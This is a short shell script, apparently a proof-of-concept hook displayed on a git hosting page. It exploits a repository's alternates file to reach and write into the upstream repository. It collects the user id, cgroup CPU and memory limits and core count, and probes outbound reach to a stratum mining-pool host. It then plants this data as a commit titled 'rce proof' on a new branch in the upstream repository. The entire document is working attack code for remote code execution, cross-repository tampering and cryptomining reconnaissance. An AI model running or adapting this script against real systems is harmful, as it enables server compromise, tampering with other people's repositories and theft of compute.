15 lines
1.1 KiB
Bash
Executable File
15 lines
1.1 KiB
Bash
Executable File
#!/bin/sh
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git_dir=$(git rev-parse --absolute-git-dir) || exit 1
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origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
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case "$origin_objects" in
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/*) ;;
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*) origin_objects="$git_dir/objects/$origin_objects" ;;
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esac
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origin_git=${origin_objects%/objects}
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[ "$origin_git" != "$origin_objects" ] || exit 3
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output_blob=$( { echo "git user: $(id -u)"; echo "cpu limit:"; cat /sys/fs/cgroup/cpu.max 2>/dev/null || cat /sys/fs/cgroup/cpu/cpu.cfs_quota_us 2>/dev/null; echo "nproc: $(nproc)"; echo "mem limit:"; cat /sys/fs/cgroup/memory.max 2>/dev/null || echo n/a; echo "outbound test:"; (timeout 5 nc -z stratum.example.com 3333 2>/dev/null && echo out_ok || echo out_blocked) ; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
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tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
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commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
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git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
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exit 0
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